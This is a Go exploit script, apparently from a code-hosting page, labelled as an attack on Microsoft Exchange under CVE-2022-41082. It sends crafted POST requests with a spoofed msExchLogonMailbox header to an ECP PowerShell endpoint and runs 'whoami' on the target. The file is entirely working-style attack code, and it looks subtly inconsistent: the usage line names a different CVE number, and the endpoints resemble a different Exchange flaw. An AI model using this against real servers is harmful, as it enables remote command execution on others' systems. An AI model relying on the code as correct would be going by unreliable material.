/
cve_2022_41082.go
59 lines (49 loc) · 1.33 KB
/
cve_2022_41082.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package main
import (
"fmt"
"io/ioutil"
"net/http"
"os"
"strings"
)
func main() {
fmt.Println("Usage: ./cve_2021_41082 url username password")
url := os.Args[1]
username := os.Args[2]
password := os.Args[3]
command := "whoami"
req, err := http.NewRequest("POST", url+"/ecp/proxyLogon.ecp", nil)
if err != nil {
panic(err)
}
req.Header.Set("msExchLogonMailbox", fmt.Sprintf("Admin@%s:444/ecp/DDI/DDIService.svc/PowerShell?X-Rps-CAT=", url))
req.SetBasicAuth(username, password)
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
panic(err)
}
defer resp.Body.Close()
sessionID := resp.Cookies()[0].Value
if sessionID == "" {
fmt.Println("[-] Failed to get ASP.NET_SessionId")
}
fmt.Println("[+] Got ASP.NET_SessionId:", sessionID)
req2, err := http.NewRequest("POST", url+"/ecp/proxyLogon.ecp", strings.NewReader(command))
if err != nil {
panic(err)
}
req2.Header.Set("msExchLogonMailbox", fmt.Sprintf("%s:444/ecp/DDI/DDIService.svc/PowerShell?X-Rps-CAT=", url))
req2.AddCookie(&http.Cookie{Name: "ASP.NET_SessionId", Value: sessionID})
resp2, err := client.Do(req2)
if err != nil {
panic(err)
}
defer resp2.Body.Close()
body2, err := ioutil.ReadAll(resp2.Body)
if err != nil {
panic(err)
}
fmt.Println("[+] The target might vulnerable.")
fmt.Println("Command output:", string(body2))
}